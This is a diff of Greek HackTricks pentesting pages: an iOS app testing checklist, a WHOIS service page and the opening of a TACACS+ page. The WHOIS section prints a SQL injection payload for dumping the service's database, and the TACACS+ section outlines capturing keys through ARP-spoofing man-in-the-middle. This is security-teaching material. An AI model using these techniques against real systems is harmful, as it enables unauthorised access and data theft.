### Κάποιες πληροφορίες μεθόδευσης/Απομεθόδευσης
* [ ] [Διαβάστε εδώ](android-app-pentesting/#obfuscating-deobfuscating-code)
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επ

View file

@ -3,71 +3,118 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Προετοιμασία
* [ ] Διαβάστε τα [**Βασικά του iOS**](ios-pentesting/ios-basics.md)
* [ ] Προετοιμάστε το περιβάλλον σας διαβάζοντας το [**Περιβάλλον Δοκιμής του iOS**](ios-pentesting/ios-testing-environment.md)
* [ ] Διαβάστε όλες τις ενότητες της [**Αρχικής Ανάλυσης του iOS**](ios-pentesting/#initial-analysis) για να μάθετε τις κοινές ενέργειες για το pentest μιας εφαρμογής iOS
* [ ] Προετοιμάστε το περιβάλλον σας διαβάζοντας το [**Περιβάλλον Δοκιμών iOS**](ios-pentesting/ios-testing-environment.md)
* [ ] Διαβάστε όλες τις ενότητες της [**Αρχικής Ανάλυσης iOS**](ios-pentesting/#initial-analysis) για να μάθετε τις κοινές ενέργειες για τον έλεγχο ασφάλειας μιας εφαρμογής iOS
### Αποθήκευση Δεδομένων
* [ ] Τα [**αρχεία Plist**](ios-pentesting/#plist) μπορούν να χρησιμοποιηθούν για την αποθήκευση ευαίσθητων πληροφοριών.
* [ ] Το [**Core Data**](ios-pentesting/#core-data) (βάση δεδομένων SQLite) μπορεί να αποθηκεύει ευαίσθητες πληροφορίες.
* [ ] Οι [**YapDatabases**](ios-pentesting/#yapdatabase) (βάση δεδομένων SQLite) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [ ] Η [**Firebase**](ios-pentesting/#firebase-real-time-databases) μπορεί να έχει λανθασμένη διαμόρφωση.
* [ ] Οι [**Realm databases**](ios-pentesting/#realm-databases) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [ ] Οι [**Couchbase Lite databases**](ios-pentesting/#couchbase-lite-databases) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [ ] Τα [**δυαδικά cookies**](ios-pentesting/#cookies) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [ ] Τα [**δεδομένα cache**](ios-pentesting/#cache) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [ ] Οι [**αυτόματες στιγμιότυπες**](ios-pentesting/#snapshots) μπορεί να αποθηκεύουν οπτικές ευαίσθητες πληροφορίες.
* [ ] Το [**Keychain**](ios-pentesting/#keychain) συνήθως χρησιμοποιείται για την αποθήκευση ευαίσθητων πληροφοριών που μπορεί να παραμείνουν όταν πωλείται το τηλέφωνο.
* [ ] Συνολικά, απλώς **ελέγξτε για ευαίσθητες πληροφορίες που αποθηκεύονται από την εφαρμογή στο σύστημα αρχείων**
* Οι [**YapDatabases**](ios-pentesting/#yapdatabase) (βάση δεδομένων SQLite) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* [**Λανθασμένη ρύθμιση Firebase**](ios-pentesting/#firebase-real-time-databases).
* Οι [**βάσεις δεδομένων Realm**](ios-pentesting/#realm-databases) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* Οι [**βάσεις δεδομένων Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* Τα [**δυαδικά cookies**](ios-pentesting/#cookies) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* Τα [**δεδομένα cache**](ios-pentesting/#cache) μπορούν να αποθηκεύουν ευαίσθητες πληροφορίες.
* Οι [**αυτόματες στιγμιότυπες**](ios-pentesting/#snapshots) μπορεί να αποθηκεύουν οπτικές ευαίσθητες πληροφορίες.
* Το [**Keychain**](ios-pentesting/#keychain) χρησιμοποιείται συνήθως για την αποθήκευση ευαίσθητων πληροφοριών που μπορεί να παραμείνουν κατά την επανπώληση του τηλεφώνου.
* Συνολικά, απλά **ελέγξτε για ευαίσθητες πληροφορίες που αποθηκεύονται από την εφαρμογή στο σύστημα αρχείων**
### Πληκτρολόγια
* [ ] Επιτρέπει η εφαρμογή τη χρήση [**προσαρμοσμένων πληκτρολογίων**](ios-pentesting/#custom-keyboards-keyboard-cache);
* [ ] Ελέγξτε εάν αποθηκεύονται ευαίσθητες πλη
* Ελέγξτε αν αποθηκεύονται ευαίσθητες πληροφορίες στα [**αρχεία cache πληκτρολογίων**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Καταγραφές**
* Ελέγξτε αν [**καταγράφονται ευαίσθητες πληροφορίες**](ios-pentesting/#logs)
### Αντίγραφα Ασφαλείας
* [ ] Τα [**αντίγραφα ασφαλείας**](ios-pentesting/#backups) μπορούν να χρησιμοποιηθούν για την **πρόσβαση στις ευαίσθητες πληροφορίες** που αποθηκεύονται στο σύστημα αρχείων (ελέγξτε το αρχικό σημείο αυτής της λίστας ελέγχου)
* Επίσης, τα [**αντίγραφα ασφαλείας**](ios-pentesting/#backups) μπορούν να χρησιμοποιηθούν για τη **τροποποίηση ορισμένων ρυθμίσεων της εφαρμογής**, στη συνέχεια **επαναφέρετε** το αντίγραφο ασφαλείας στο τηλέφωνο, και καθώς η **τροποποιημένη ρύθμιση** φορτώνεται, μπορεί να **παρακαμφθεί** κάποια (ασφαλής) **λειτουργικότητα**
### **Μνήμη Εφαρμογών**
* Ελέγξτε για ευαίσθητες πληροφορίες μέσα στη [**μνήμη της εφαρμογής**](ios-pentesting/#testing-memory-for-sensitive-data)
### **Χαλασμένη Κρυπτογραφία**
* Ελέγξτε αν μπορείτε να βρείτε [**κωδικούς που χρησιμοποιούνται για κρυπτογραφία**](ios-pentesting/#broken-cryptography)
* Ελέγξτε τη χρήση [**αποσυρμένων/αδύνατων αλγορίθμων**](ios-pentesting/#broken-cryptography) για την αποστολή/αποθήκευση ευαίσθητων δεδομένων
* [**Κρεμάλα και παρακολούθηση λειτουργιών κρυπτογραφίας**](ios-pentesting/#broken-cryptography)
### **Τοπική Ταυτοποίηση**
* Αν χρησιμοποιείται [**τοπική ταυτοποίηση**](ios-pentesting/#local-authentication) στην εφαρμογή, πρέπει να ελέγξετε πώς λειτουργεί η ταυτοποίηση.
* Αν χρησιμοποιεί το [**Πλαίσιο Τοπικής Ταυτοποίησης**](ios-pentesting/#local-authentication-framework) μπορεί να παρακαμφθεί εύκολα
* Αν χρησιμοποιεί μια [**λειτουργία που μπορεί να παρακαμφθεί δυναμικά**](ios-pentesting/#local-authentication-using-keychain) μπορείτε να δημιουργήσετε ένα προσαρμοσμένο σενάριο frida
### Εκθέτος Ευαίσθητων Λειτουργιών Μέσω IPC
* [**Προσαρμοσμένοι Χειριστές URI / Deeplinks / Προσαρμοσμένα Σχήματα**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* Ελέγξτε αν η εφαρμογή **καταχωρεί κάποιο πρωτόκολλο/σχήμα**
* Ελέγξτε αν η εφαρμογή **καταχωρείται για χρήση** κάποιου πρωτοκόλλου/σχήματος
* Ελέγξτε αν η εφαρμογή **περιμένει να λάβει οποιοδήποτε είδος ευαίσθητης πληροφορίας** από το προσαρμοσμένο σχήμα που μπορεί να **παρακολουθηθεί** από μια άλλη εφαρμογή που καταχωρεί το ίδιο σχήμα
* Ελέγξτε αν η εφαρμογή **δεν ελέγχει και απολυμαίνει** την είσοδο των χρηστών μέσω του προσαρμοσμένου σχήματος και μπορεί να εκμεταλλευτεί
### Δικτυακή Επικοινωνία
* [ ] Εκτέλεση [**MitM στην επικοινωνία**](ios-pentesting/#network-communication) και αναζήτηση για ευπάθειες στον ιστό.
* [ ] Έλεγχος εάν ο [**κανόνας του πιστοποιητικού**](ios-pentesting/#hostname-check) ελέγχεται.
* [ ] Έλεγχος/Παράκαμψη [**Καρφίτσωμα Πιστοποιητικού**](ios-pentesting/#certificate-pinning)
* [ ] Εκτέλεση επίθεσης [**MitM στην επικοινωνία**](ios-pentesting/#network-communication) και αναζήτηση ευπαθειών στο web.
* [ ] Έλεγχος εάν ο [**κεντρικός όρος του πιστοποιητικού**](ios-pentesting/#hostname-check) ελέγχεται.
* [ ] Έλεγχος/Παράκαμψη του [**Καρφίτσωμα του Πιστοποιητικού**](ios-pentesting/#certificate-pinning)
### **Διάφορα**
* [ ] Έλεγχος για [**αυτόματη ενημέρωση/ενημέρωση**](ios-pentesting/#hot-patching-enforced-updateing) μηχανισμούς.
* [ ] Έλεγχος για [**αυτόματους μηχανισμούς επιδιόρθωσης/ενημέρωσης**](ios-pentesting/#hot-patching-enforced-updateing)
* [ ] Έλεγχος για [**κακόβουλες βιβλιοθήκες τρίτων**](ios-pentesting/#third-parties)
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -75,6 +122,6 @@
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,21 +1,28 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Βασικές Πληροφορίες
Το πρωτόκολλο **WHOIS** λειτουργεί ως μέθοδος προτύπου για **ερωτήσεις σχετικά με τους κατόχους ή κατόχους διάφορων πόρων του Διαδικτύου** μέσω συγκεκριμένων βάσεων δεδομένων. Αυτοί οι πόροι περιλαμβάνουν ονόματα τομέων, μπλοκ διευθύνσεων IP και αυτόνομα συστήματα, μεταξύ άλλων. Πέρα ​​από αυτά, το πρωτόκολλο εφαρμόζεται για την πρόσβαση σε ένα ευρύτερο φάσμα πληροφοριών.
Το πρωτόκολλο **WHOIS** λειτουργεί ως ένας τυπικός τρόπος για **ερωτήσεις σχετικά με τους καταχωρητές ή κατόχους διάφορων διαδικτυακών πόρων** μέσω συγκεκριμένων βάσεων δεδομένων. Αυτοί οι πόροι περιλαμβάνουν ονόματα domain, τμήματα διευθύνσεων IP και αυτόνομα συστήματα, μεταξύ άλλων. Εκτός από αυτά, το πρωτόκολλο χρησιμοποιείται για την πρόσβαση σε ένα ευρύτερο φάσμα πληροφοριών.
**Προεπιλεγμένη θύρα:** 43
```
@ -24,22 +31,28 @@ PORT STATE SERVICE
```
# Απαρίθμηση
Λάβετε όλες τις πληροφορίες που ένας υπηρεσία whois έχει για έναν τομέα:
Αποκτήστε όλες τις πληροφορίες που ένα υπηρεσία whois έχει για ένα domain:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Παρατηρήστε ότι μερικές φορές, όταν ζητείτε πληροφορίες από έναν υπηρεσία WHOIS, η βάση δεδομένων που χρησιμοποιείται εμφανίζεται στην απάντηση:
Σημειώστε ότι μερικές φορές κατά το αίτημα για κάποιες πληροφορίες σε έναν υπηρεσία WHOIS εμφανίζεται η βάση δεδομένων που χρησιμοποιείται στην απάντηση:
![](<../.gitbook/assets/image (147).png>)
Επίσης, η υπηρεσία WHOIS πάντα χρειάζεται να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** μπορεί να είναι παρούσα όταν γίνεται **ερώτηση** στη βάση δεδομένων με βάση κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, με την εντολή `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` μπορείτε να **εξάγετε όλες** τις **πληροφορίες** που έχουν αποθηκευτεί στη βάση δεδομένων.
Επίσης, η υπηρεσία WHOIS πάντα χρειάζεται να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **επίθεση SQLInjection** θα μπορούσε να υπάρχει κατά το **ερώτημα** της βάσης δεδομένων από κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, με την εντολή: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλες** τις **πληροφορίες** που έχουν αποθηκευτεί στη βάση δεδομένων.
# Shodan
* `port:43 whois`
# Αυτόματες εντολές HackTricks
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
# HackTricks Automatic Commands
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -61,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,64 +1,75 @@
# 49 - Ελεγχος ασφαλείας TACACS+
# 49 - Ελεγχος Εισβολής στο TACACS+
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Το πρωτόκολλο **Terminal Access Controller Access Control System (TACACS)** χρησιμοποιείται για την κεντρική επαλήθευση των χρηστών που προσπαθούν να αποκτήσουν πρόσβαση σε δρομολογητές ή διακομιστές πρόσβασης στο δίκτυο (NAS). Η αναβαθμισμένη έκδοσή του, **TACACS+**, διαχωρίζει τις υπηρεσίες σε επαλήθευση, εξουσιοδότηση και καταγραφή (AAA).
Το πρωτόκολλο **Terminal Access Controller Access Control System (TACACS)** χρησιμοποιείται για την κεντρική επικύρωση χρηστών που προσπαθούν να έχουν πρόσβαση σε δρομολογητές ή Διακομιστές Πρόσβασης Δικτύου (NAS). Η αναβαθμισμένη έκδοσή του, **TACACS+**, διαχωρίζει τις υπηρεσίες σε πιστοποίηση, εξουσιοδότηση και λογιστική (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
```
**Προεπιλεγμένη θύρα:** 49
## Παρεμβολή του Κλειδιού Πιστοποίησης
## Ανάκτηση Κλειδιού Ταυτοποίησης
Εάν η επικοινωνία μεταξύ του πελάτη και του διακομιστή TACACS παρεμβληθεί από έναν επιτιθέμενο, το **κρυπτογραφημένο κλειδί πιστοποίησης μπορεί να παρακολουθηθεί**. Ο επιτιθέμενος μπορεί στη συνέχεια να προσπαθήσει μια **τοπική επίθεση με βίαιη δοκιμή κατά του κλειδιού χωρίς να ανιχνεύεται στα αρχεία καταγραφής**. Εάν επιτύχει στη βίαιη δοκιμή του κλειδιού, ο επιτιθέμενος αποκτά πρόσβαση στον εξοπλισμό δικτύου και μπορεί να αποκρυπτογραφήσει την κίνηση χρησιμοποιώντας εργαλεία όπως το Wireshark.
Εάν η επικοινωνία μεταξύ του πελάτη και του διακομιστή TACACS διακόπτεται από έναν επιτιθέμενο, το **κρυπτογραφημένο κλειδί ταυτοποίησης μπορεί να ανακτηθεί**. Ο επιτιθέμενος μπορεί στη συνέχεια να προσπαθήσει μια **τοπική επίθεση με βία κατά του κλειδιού χωρίς να ανιχνευθεί στα logs**. Εάν επιτύχει στην επίθεση με βία κατά του κλειδιού, ο επιτιθέμενος κερδίζει πρόσβαση στον εξοπλισμό δικτύου και μπορεί να αποκρυπτογραφήσει την κίνηση χρησιμοποιώντας εργαλεία όπως το Wireshark.
### Εκτέλεση επίθεσης MitM
### Εκτέλεση Επίθεσης Man-in-the-Middle
Μια επίθεση ARP spoofing μπορεί να χρησιμοποιηθεί για να εκτελεστεί μια επίθεση Man-in-the-Middle (MitM).
Μια επίθεση **ARP spoofing μπορεί να χρησιμοποιηθεί για την εκτέλεση μιας επίθεσης Man-in-the-Middle (MitM)**.
